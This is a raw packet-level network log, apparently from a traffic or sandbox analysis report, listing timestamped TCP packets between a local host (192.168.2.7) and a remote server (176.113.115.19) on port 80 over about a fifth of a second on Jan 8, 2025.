Jan 8, 2025 09:42:34.732546091 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.732554913 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.732557058 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.732563019 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.732569933 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.732575893 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.732592106 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.732595921 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.732605934 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.732613087 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.732615948 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.732639074 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.732645988 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.732647896 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.732655048 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.732686043 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.732703924 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.732733965 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.732745886 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.732753992 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.732758045 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.732794046 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.766091108 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.766108036 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.766115904 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.766128063 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.766139030 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.766150951 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.766158104 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.766170979 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.766172886 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.766187906 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.766202927 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.766213894 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.766216040 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.766222000 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.766242027 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.766249895 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.766254902 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.766263962 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.766266108 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.766290903 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.766309023 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.776710033 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.776776075 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.776829958 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.776854038 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.776861906 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.776868105 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.776875019 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.776880026 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.776880026 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.776886940 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.776896000 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.776909113 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.776949883 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.776952982 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.776961088 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.776968956 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.776974916 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.776982069 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.776988029 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.776995897 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.777002096 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.777009964 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.777025938 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.777035952 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.777044058 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.777050018 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.777050018 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.777057886 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.777062893 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.777081966 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.777113914 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.814723015 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.814750910 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.814764023 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.814771891 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.814779043 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.814785004 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.814800024 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.814806938 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.814821959 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.814882040 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.815730095 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.815737963 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.815762997 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.815776110 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.815782070 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.815788984 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.815797091 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.815805912 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.815834045 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.815845966 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.815881968 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.815926075 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.817502975 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817523003 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817537069 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817543030 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817552090 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817594051 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.817619085 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817629099 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.817636013 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817647934 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817662001 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817663908 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.817671061 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817682981 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817688942 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817689896 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.817697048 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817720890 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.817725897 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817739010 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.817739964 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817751884 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817758083 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817766905 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817771912 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.817795992 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.817810059 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817816019 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.817816973 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817825079 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817861080 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817861080 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.817867041 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817874908 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.817878962 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817913055 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.817938089 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.817940950 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817956924 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817965031 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817971945 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817980051 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.817984104 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.818011999 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.818032980 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.818034887 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.818054914 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.818075895 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.818083048 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.818099022 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.818104982 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.818105936 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.818114042 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.818121910 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.818121910 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.818145037 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.818176985 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.818207979 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.818216085 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.818228006 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.818267107 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.818291903 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.818303108 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.818315029 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.818321943 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.818330050 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.818355083 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.818367004 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.818397999 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.818423986 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.819056988 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819063902 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819072008 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819092989 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819098949 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819107056 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.819119930 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819127083 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.819128036 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819142103 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819147110 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819148064 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.819180012 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.819191933 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819200039 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.819221020 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819230080 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819241047 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819242954 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.819247961 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819272995 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.819293022 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.819304943 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819320917 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819333076 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819338083 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819351912 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819369078 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.819370031 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819380999 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819387913 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819401026 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819403887 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.819406986 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819417000 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.819418907 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.819441080 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.819468975 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.854784012 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.854796886 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.854811907 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.854816914 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.854834080 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.854846001 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.854855061 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.854868889 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.854876041 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.854887962 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.854896069 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.854902983 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.854912996 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.854914904 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.854928017 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.855006933 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.863507032 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.863528013 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.863534927 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.863547087 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.863554001 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.863560915 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.863620043 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.863656044 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.863658905 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.863665104 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.863687992 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.863697052 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.863703966 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.863711119 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.863713026 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.863740921 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.863742113 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.863754034 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.863760948 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.863760948 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.863769054 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.863805056 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.863816977 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.863822937 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.863826990 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.863837004 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.863854885 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.863883972 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.901523113 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.901549101 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.901556015 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.901570082 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.901576996 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.901583910 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.901592016 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.901658058 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.901711941 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.902415037 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.902429104 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.902436018 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.902441978 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.902448893 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.902467966 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.902488947 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.902496099 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.902498960 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.902503014 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.902508020 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.902540922 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.902549982 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.904202938 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904252052 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.904264927 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904280901 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904289961 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904297113 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904315948 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.904335022 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904335976 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.904345036 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904351950 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904356956 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904364109 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904386044 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.904390097 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904396057 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.904411077 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904418945 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904437065 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.904449940 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904457092 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904464006 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.904473066 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904480934 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904490948 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.904495001 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904531002 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.904581070 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904591084 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904603004 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904608965 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904616117 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904648066 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.904659033 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904664040 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.904675961 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904690027 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904695988 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904701948 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.904704094 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904752016 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.904789925 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904797077 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904818058 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904829979 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904834032 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.904840946 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.904846907 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904858112 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904866934 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904872894 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.904916048 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.904933929 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904941082 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904962063 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904968977 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904980898 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.904988050 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.904988050 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.905023098 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.905026913 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.905026913 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.905030012 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.905041933 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.905049086 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.905081987 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.905129910 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.905904055 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.905961990 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.905962944 CET	80	49703	176.113.115.19	192.168.2.7
